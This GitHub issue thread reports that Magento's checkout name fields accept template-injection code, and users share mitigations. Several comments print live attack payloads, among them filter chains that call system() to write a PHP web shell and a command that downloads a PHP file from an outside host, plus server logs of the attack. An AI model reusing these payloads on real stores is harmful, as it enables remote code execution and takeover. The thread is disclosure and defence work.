magento / magento2

Prior to making any Submission(s), you must sign an Adobe Contributor License Agreement, available here at: https://opensource.adobe.com/cla.html. All Submissions you make to Adobe Inc. and its affiliates, assigns and subsidiaries (collectively “Adobe”) are subject to the terms of the Adobe Contributor License Agreement.
http://www.magento.com
Open Software License 3.0
11.47k stars 9.28k forks source link

Checkout address forms allow random code in the name fields #39002

Open nkarthickannan opened 1 month ago

nkarthickannan commented 1 month ago

Preconditions and environment

Magento version - 2.4.7-p1

Steps to reproduce

  1. Install a fresh Magento latest version with sample data
  2. Add to a product to shopping cart and navigate to the checkout page (either as guest or as logged in user)
  3. Provide the following code in the First name and Last name fields (shipping and billing address fields) {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

Expected result

Magento should not allow to proceed by throwing an error

Actual result

Magento allows the user to proceed further without throwing an error

Additional information

Similar issue is already raised and resolved here - https://github.com/magento/magento2/issues/38331

Release note

No response

Triage and priority

m2-assistant[bot] commented 1 month ago

Hi @nkarthickannan. Thank you for your report. To speed up processing of this issue, make sure that the issue is reproducible on the vanilla Magento instance following Steps to reproduce. To deploy vanilla Magento instance on our environment, Add a comment to the issue:

nkarthickannan commented 1 month ago

@magento give me 2.4-develop instance

magento-deployment-service[bot] commented 1 month ago

Hi @nkarthickannan. Thank you for your request. I'm working on Magento instance for you.

magento-deployment-service[bot] commented 1 month ago

Hi @nkarthickannan, here is your Magento Instance: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering Admin access: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering/admin_d4b5 Login: bb2031d0 Password: 51e17af08a7d

nkarthickannan commented 1 month ago

Issue confirmed in the default Magento provided above. Screenshots are attached here:

Screenshot 2024-08-03 at 9 43 08 AM

Screenshot 2024-08-03 at 9 41 19 AM

jsdupuis commented 1 month ago

I have the same issue with Magento CE 2.4.5-p8. Had 2 injection codes attack using the first name and last name fields. No validation on the checkout page.

m2-assistant[bot] commented 1 month ago

Hi @engcom-Bravo. Thank you for working on this issue. In order to make sure that issue has enough information and ready for development, please read and check the following instruction: :point_down:

n2diving-dgx commented 1 month ago

Similar code injection in to the customer name field of a bogus guest checkout order received on a production Magento CE 2.4.6-p6 website.

sunit9 commented 1 month ago

I am also getting same issue. Some one is trying to add file using base 64 en coding. When i decode i got following

cd pub;echo '<?php if($_POST['p']=="Sd44Ak8H") $_POST['f'](base64_decode($_POST['c']));' > sys.php

Magento version is CE 2.4.5-p1

If anyone havae solution then please provide.

in-session commented 1 month ago

There seems to be a major attempt at code injection at the moment. We were also able to reproduce the same behaviour in several instances. In my evaluation, this only refers to the guest checkout. This was observed in the production system from 3 August.

{{var this.getTemp%00lateFilter().add%00AfterFilterCallback(base64_decode).add%00AfterFilterCallback(system).Filter(Y2QgcHViO2VjaG8gJzw/cGhwIGlmKCRfUE9TVFsncCddPT0iOUdtdFhRbWsiKSAkX1BPU1RbJ2YnXShiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYyddKSk7JyA+IHN5cy5waHA=)}}
cd pub;echo '<?php if($_POST['p']=="9GmtXQmk") $_POST['f'](base64_decode($_POST['c']));' > sys.php

Server error log:

2024/08/03 16:14:23 [error] 163093#163093: *6061362 access forbidden by rule, client: 127.0.0.1, server: _, request: "GET /sys.php HTTP/1.1", host: ***
2024/08/03 16:14:24 [error] 163093#163093: *6062169 access forbidden by rule, client: 127.0.0.1, server: _, request: "GET /pub/sys.php HTTP/1.1", host: ***

It seems here that it was tried using the REST Api and checkout page:

***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:13:57 +0200] "POST /rest//V1/guest-carts HTTP/1.1" 200 45 "-" "Mozilla/5.0 (Linux; Android 11; moto g(10)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:13:58 +0200] "GET /rest//V1/products?searchCriteria[pageSize]=20 HTTP/1.1" 401 6209 "-" "Mozilla/5.0 (Linux; Android 10; Redmi Note 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:13:58 +0200] "GET /catalogsearch/result/?q=%25a%25 HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:00 +0200] "GET /de/search/%25a%25 HTTP/1.1" 200 704544 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:00 +0200] "GET /de/page_cache/block/esi/blocks/%5B%22topmenu_generic%22%5D/handles/WyJkZWZhdWx0IiwiY2F0YWxvZ3NlYXJjaF9yZXN1bHRfaW5kZXgiLCJjYXRhbG9nc2VhcmNoX3Jlc3VsdF9pbmRleF9ub3Jlc3VsdHMiXQ%3D%3D/ HTTP/1.1" 200 7647 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:00 +0200] "GET /de/page_cache/block/esi/blocks/%5B%22container-footer%22%5D/handles/WyJkZWZhdWx0IiwiY2F0YWxvZ3NlYXJjaF9yZXN1bHRfaW5kZXgiLCJjYXRhbG9nc2VhcmNoX3Jlc3VsdF9pbmRleF9ub3Jlc3VsdHMiXQ%3D%3D/ HTTP/1.1" 200 6341 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:09 +0200] "GET /*** HTTP/1.1" 200 100705 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:11 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/items HTTP/1.1" 200 169 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/115.0.5790.160 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:11 +0200] "GET /rest//V1/directory/countries HTTP/1.1" 200 4050 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:12 +0200] "GET /rest/default/V1/directory/countries HTTP/1.1" 400 76 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:12 +0200] "GET /rest/en/V1/directory/countries HTTP/1.1" 200 4008 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:12 +0200] "GET /rest/english/V1/directory/countries HTTP/1.1" 400 76 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:13 +0200] "GET /rest/it/V1/directory/countries HTTP/1.1" 400 76 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:13 +0200] "GET /rest/italian/V1/directory/countries HTTP/1.1" 400 76 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:14 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Linux; Android 12; V2023) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Mobile Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:14 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Linux; Android 13; SM-G991W) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:15 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/115.0.5790.84 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:15 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:16 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Linux; Android 11; 2201117TY) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:16 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 226 "-" "Mozilla/5.0 (Linux; Android 10; RMX1825) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.99 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:17 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/shipping-information HTTP/1.1" 200 2277 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/282.0.564912098 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:17 +0200] "GET /customer/account/create/ HTTP/1.1" 200 480398 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/104.0.5112.88 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:19 +0200] "GET /checkout HTTP/1.1" 302 5 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/104.0.5112.88 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:19 +0200] "GET /de/checkout/cart/ HTTP/1.1" 200 471470 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/104.0.5112.88 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:22 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/payment-information HTTP/1.1" 200 14 "-" "Mozilla/5.0 (Linux; Android 5.1.1; KFSUWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/108.9.6 like Chrome/108.0.5359.220 Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:23 +0200] "GET /sys.php HTTP/1.1" 404 347 "-" "Mozilla/5.0 (iPad; CPU OS 15_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/250.0.505561494 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:24 +0200] "GET /pub/sys.php HTTP/1.1" 404 347 "-" "Mozilla/5.0 (iPhone; CPU OS 17_0_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) 1Password/7.10.2 (like Version/17.0.3 Mobile/21A360 Safari/600.1.4)"

The system should fix the problem with CVE-2022-24086, but the orders are still coming in and a validation should be carried out beforehand. There already seems to be a merged pull here, but it is not yet included in the core: https://github.com/magento/magento2/pull/38345

engcom-Bravo commented 1 month ago

@magento give me 2.4-develop instance

magento-deployment-service[bot] commented 1 month ago

Hi @engcom-Bravo. Thank you for your request. I'm working on Magento instance for you.

magento-deployment-service[bot] commented 1 month ago

Hi @engcom-Bravo, here is your Magento Instance: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering Admin access: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering/admin_2e92 Login: b7d8f52a Password: 8352e1128731

engcom-Bravo commented 1 month ago

Hi @nkarthickannan,

Thanks for your reporting and collaboration.

We have verified the issue in Latest 2.4-develop instance and the issue is reproducible.Kindly refer the screenshots.

Steps to reproduce

Screenshot 2024-08-05 at 15 55 18

It allows the first and last name with the random code without throwing any error.

Hence Confirming the issue.

Thanks.

github-jira-sync-bot commented 1 month ago

:white_check_mark: Jira issue https://jira.corp.adobe.com/browse/AC-12687 is successfully created for this GitHub issue.

m2-assistant[bot] commented 1 month ago

:white_check_mark: Confirmed by @engcom-Bravo. Thank you for verifying the issue.
Issue Available: @engcom-Bravo, You will be automatically unassigned. Contributors/Maintainers can claim this issue to continue. To reclaim and continue work, reassign the ticket to yourself.

ishaqdahot commented 1 month ago

Is there any update on this I am getting the same issue despite Magento upgrading to 2.4.6-p6 and applying the patch from this link https://github.com/magento/magento2/pull/38345

nkarthickannan commented 1 month ago

@ishaqdahot https://github.com/magento/magento2/pull/38345 is a similar issue in customer account pages. So, that fix will not resolve this checkout issue.

ganeddact commented 1 month ago

is this problem related with this? https://experienceleague.adobe.com/en/docs/commerce-knowledge-base/kb/troubleshooting/known-issues-patches-attached/security-update-available-for-adobe-commerce-apsb24-40-revised-to-include-isolated-patch-for-cve-2024-34102?lang=en

IJOL commented 1 month ago

is this problem related with this? https://experienceleague.adobe.com/en/docs/commerce-knowledge-base/kb/troubleshooting/known-issues-patches-attached/security-update-available-for-adobe-commerce-apsb24-40-revised-to-include-isolated-patch-for-cve-2024-34102?lang=en

No this is a separated issue, the one you point is related to xml injection no template injection

IJOL commented 1 month ago

validation is done in https://github.com/magento/magento2/blob/6f4805f82bb7511f72935daa493d48ebda3d9039/app/code/Magento/Quote/Model/Quote/Address/Validator.php#L43-L64 we did a quick and dirty patch implementing what is done in https://github.com/magento/magento2/pull/38345 for all the involved fields last & first name, city, street, company middle name etc... but we patched this method, tried plugin and inheriting but none worked so reverted to patching the method in core, so far so good

in-session commented 1 month ago

There seem to be a lot of attempts at the moment to try a different variant:

{{var this.getTemp%00lateFilter().filter(firstname)}} {{var this.getTemp%00lateFilter().add%00AfterFilterCallback(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http://magdemo.io/cache.php?m=8055-1912-34894)}}
cd pub; curl -o health_check.php http://magdemo.io/cache.php?m=8055-1912-34894
DegrizNet commented 1 month ago

There seem to be a lot of attempts at the moment to try a different variant:

{{var this.getTemp%00lateFilter().filter(firstname)}} {{var this.getTemp%00lateFilter().add%00AfterFilterCallback(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http://magdemo.io/cache.php?m=8055-1912-34894)}}
cd pub; curl -o health_check.php http://magdemo.io/cache.php?m=8055-1912-34894

I can confirm the same on different Magento stores.

IJOL commented 1 month ago

There seem to be a lot of attempts at the moment to try a different variant:

{{var this.getTemp%00lateFilter().filter(firstname)}} {{var this.getTemp%00lateFilter().add%00AfterFilterCallback(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http://magdemo.io/cache.php?m=8055-1912-34894)}}
cd pub; curl -o health_check.php http://magdemo.io/cache.php?m=8055-1912-34894

I can confirm this kind of attacks, and all the above variants in checkout address form, in 4 stores,in the last 48h,

ishaqdahot commented 1 month ago

How do we fix it? Is there any update on this? Now I am getting orders daily with this code injected I First Name and Last Name.

jsdupuis commented 1 month ago

Why isn't this a Priority 1 task?

By the way, these are the 5 tables in the database that I clean manually after receiving such orders. I make sure to clean the data before someone opens the order in the admin.

Any other table I am missing?

sunit9 commented 1 month ago

@jsdupuis

You have to clean following table also quote_item quote_item_option sales_order_item sales_order_payment

in-session commented 1 month ago

@jsdupuis I don't think it makes any difference whether you simply delete the order in the backend, as the code would already be executed when you save it. it would be better to check the system depending on what code is inside. Like: find -newermt "-10 minutes" -ls to check whether data has been changed the last 10 minutes and to check whether admin has been created. Also whether API interfaces have changed.

sunit9 commented 1 month ago

@jsdupuis you can run security scan also. This way you can find malicious code or file. For that you can use https://sitecheck.sucuri.net/ or any other website like this.

jsdupuis commented 1 month ago

@jsdupuis I don't think it makes any difference whether you simply delete the order in the backend, as the code would already be executed when you save it. it would be better to check the system depending on what code is inside. Like: find -newermt "-10 minutes" -ls to check whether data has been changed the last 10 minutes and to check whether admin has been created. Also whether API interfaces have changed.

I normally notice the attack by email because I put our own email as CC for every confirmation email. When the hacker creates an order as guest, I see the code in the confirmation email. Would that trigger the code? I don't open Magento yet. Then I got in the database to clean the first name and last fields. Finally, I got in Magento to cancel that order.

First and second attack, they tried to create a sys.php file in the pub folder. Third attack, they tried to edit the health_check.php file. Fourth attack, they tried to create a cache.php file in the pub folder. Nothing went through luckily.

I am not a developper so I copy the hacker code from the email and I ask ChatGPT to tell me what the hacker is trying to do as I can't read base64 code. Can't wait for Magento to release a hot fix.

arunmagento commented 1 month ago

Hi

I also faced this issue over the last 5 days. During debugging, I found that all the orders came from different IP addresses but used the same email ID. To mitigate the problem temporarily, I restricted that email ID from placing orders. This is not a permanent fix, but it should help manage the issue until Magento releases a patch.

events.xml

`

</event>`

Oberserver file BlockEmailObserver.php

`<?php

namespace Vendor\Module\Observer;

use Magento\Framework\Event\ObserverInterface; use Magento\Framework\Exception\LocalizedException;

class BlockEmailObserver implements ObserverInterface { protected $messageManager;

public function __construct(
    \Magento\Framework\Message\ManagerInterface $messageManager
) {
    $this->messageManager = $messageManager;
}

public function execute(\Magento\Framework\Event\Observer $observer)
{
    $order = $observer->getEvent()->getOrder();
    $customerEmail = $order->getCustomerEmail();

    // Specify the email you want to block
    $blockedEmail = 'blocked@example.com';

    if ($customerEmail === $blockedEmail) {
        throw new LocalizedException(__('This email address is not allowed to place orders.'));
    }

    return $this;
}

} `

in-session commented 1 month ago

Would be cool if someone could test it: https://github.com/magento/magento2/pull/39030

hostep commented 1 month ago

Installing this module might also be a temporary solution: https://github.com/DeployEcommerce/module-trojan-order-prevent (I haven't tested it myself).

in-session commented 1 month ago

Installing this module might also be a temporary solution: https://github.com/DeployEcommerce/module-trojan-order-prevent (I haven't tested it myself).

@hostep i have just had a look at it the module only refers to the address.

hammockvienna commented 1 month ago

@jsdupuis I don't think it makes any difference whether you simply delete the order in the backend, as the code would already be executed when you save it. it would be better to check the system depending on what code is inside. Like: find -newermt "-10 minutes" -ls to check whether data has been changed the last 10 minutes and to check whether admin has been created. Also whether API interfaces have changed.

any clue what this code really does? I checked the last 3 hours, no files changed (except standard image thumbnails and logfiles). Also checked API and Admin users, no new users. Anything else to check?

crazytrace commented 1 month ago

2.4.3-p3 having the same issue, they also try to upload a file to the pub folder like before. each time I had use command newermt can not find anything changed yet, hopefully, we can find out a solution to fix it. thanks, guy.

in-session commented 1 month ago

This is the temporary fix for now:

New file: Magento\Quote\Model\ValidationRules\NameValidationRule.php

<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Quote\Model\ValidationRules;

use Magento\Framework\Validation\ValidationResultFactory;
use Magento\Quote\Model\Quote;

/**
 * Class NameValidationRule
 * Validates the first name and last name fields in a quote.
 */
class NameValidationRule implements QuoteValidationRuleInterface
{
    /**
     * Regular expression pattern for validating names.
     *
     * \p{L}: Unicode letters.
     * \p{M}: Unicode marks (diacritic marks, accents, etc.).
     * ,: Comma.
     * -: Hyphen.
     * _: Underscore.
     * .: Period.
     * ': Apostrophe mark.
     * ’: Right single quotation mark.
     * `: Grave accent.
     * &: Ampersand.
     * \s: Whitespace characters (spaces, tabs, newlines, etc.).
     * \d: Digits (0-9).
     */
    private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u';

    /**
     * @var ValidationResultFactory
     */
    private $validationResultFactory;

    /**
     * Constructor.
     *
     * @param ValidationResultFactory $validationResultFactory
     */
    public function __construct(ValidationResultFactory $validationResultFactory)
    {
        $this->validationResultFactory = $validationResultFactory;
    }

    /**
     * Validate the first name and last name in the quote.
     *
     * @param Quote $quote
     * @return array
     */
    public function validate(Quote $quote): array
    {
        $validationErrors = [];
        $firstName = $quote->getCustomerFirstname();
        $lastName = $quote->getCustomerLastname();

        if (!$this->isValidName($firstName)) {
            $validationErrors[] = __('First Name is not valid');
        }

        if (!$this->isValidName($lastName)) {
            $validationErrors[] = __('Last Name is not valid');
        }

        return [$this->validationResultFactory->create(['errors' => $validationErrors])];
    }

    /**
     * Check if a name field is valid according to the pattern.
     *
     * @param string|null $nameValue
     * @return bool
     */
    private function isValidName($nameValue): bool
    {
        if ($nameValue !== null) {
            if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) {
                return $matches[0] === $nameValue;
            }
        }
        return false;
    }
}

Magento\Quote\etc\di.xml add at the end of <argument name="validationRules" xsi:type="array">

                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>

Like:

    <type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite">
        <arguments>
            <argument name="validationRules" xsi:type="array">
                <item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item>
                <item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item>
                <item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item>
                <item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item>
                <item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item>
                <item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item>
                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
            </argument>
        </arguments>
    </type>

And after:

<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
</type>
    <type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
        </arguments>
    </type>

like:

    <type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument>
        </arguments>
    </type>
    <type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
        </arguments>
    </type>
crazytrace commented 1 month ago

Thanks @in-session , if I can understand that we need to create a files NameValidationRule.php and editing file di.xml

The path for each file is located web server:

Magento_root/vendor/magento/module-quote/Model/ValidationRules/NameValidationRule.php

Magento_root/vendor/magento/module-quote/etc/di.xml

Remember the guy also did action for a search term is %a% before placing the inject order by using these codes above

Code for each file

NameValidationRule.php

<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Quote\Model\ValidationRules;

use Magento\Framework\Validation\ValidationResultFactory;
use Magento\Quote\Model\Quote;

/**
 * Class NameValidationRule
 * Validates the first name and last name fields in a quote.
 */
class NameValidationRule implements QuoteValidationRuleInterface
{
    /**
     * Regular expression pattern for validating names.
     *
     * \p{L}: Unicode letters.
     * \p{M}: Unicode marks (diacritic marks, accents, etc.).
     * ,: Comma.
     * -: Hyphen.
     * _: Underscore.
     * .: Period.
     * ': Apostrophe mark.
     * ’: Right single quotation mark.
     * `: Grave accent.
     * &: Ampersand.
     * \s: Whitespace characters (spaces, tabs, newlines, etc.).
     * \d: Digits (0-9).
     */
    private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u';

    /**
     * @var ValidationResultFactory
     */
    private $validationResultFactory;

    /**
     * Constructor.
     *
     * @param ValidationResultFactory $validationResultFactory
     */
    public function __construct(ValidationResultFactory $validationResultFactory)
    {
        $this->validationResultFactory = $validationResultFactory;
    }

    /**
     * Validate the first name and last name in the quote.
     *
     * @param Quote $quote
     * @return array
     */
    public function validate(Quote $quote): array
    {
        $validationErrors = [];
        $firstName = $quote->getCustomerFirstname();
        $lastName = $quote->getCustomerLastname();

        if (!$this->isValidName($firstName)) {
            $validationErrors[] = __('First Name is not valid');
        }

        if (!$this->isValidName($lastName)) {
            $validationErrors[] = __('Last Name is not valid');
        }

        return [$this->validationResultFactory->create(['errors' => $validationErrors])];
    }

    /**
     * Check if a name field is valid according to the pattern.
     *
     * @param string|null $nameValue
     * @return bool
     */
    private function isValidName($nameValue): bool
    {
        if ($nameValue !== null) {
            if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) {
                return $matches[0] === $nameValue;
            }
        }
        return false;
    }
}

di.xml

<type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite">
        <arguments>
            <argument name="validationRules" xsi:type="array">
                <item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item>
                <item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item>
                <item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item>
                <item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item>
                <item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item>
                <item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item>
                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
            </argument>
        </arguments>
</type>
<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument>
        </arguments>
</type>
<type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
        </arguments>
</type>

and then

php bin/magento setup:upgrade php bin/magento setup:di:compile php bin/magento setup:static-content:deploy -f php bin/magento cache:flush

Sorry for the question, and I am not familiar with the structure of Magento but I can follow your idea to create it. thank you.

jsdupuis commented 1 month ago

@crazytrace depending how your Magento was installed, the folder might be vendor/magento/module-quote/

crazytrace commented 1 month ago

Thanks, @jsdupuis appreciate your response and help. I get it :p

frostitution commented 1 month ago

I had similar attempt, but with a guest checkout order even though we have guest checkout disabled. I saw this page talking about this, with a quality patch that is not merged in current code/security patch, only 2.4.7 branch. So this is related as well for anyone interested.

https://experienceleague.adobe.com/en/docs/commerce-knowledge-base/kb/support-tools/patches/v1-1-24/acsd-47920-guest-order-allow-guest-checkout-off

https://github.com/magento/magento2/issues/36691

guyiwei commented 1 month ago

@in-session Thanks so much for the temporary fix. However, after I applied your changes, I could still create a guess checkout order and manually put the code in the name fields, it could pass the check and place the order. See the screenshot:

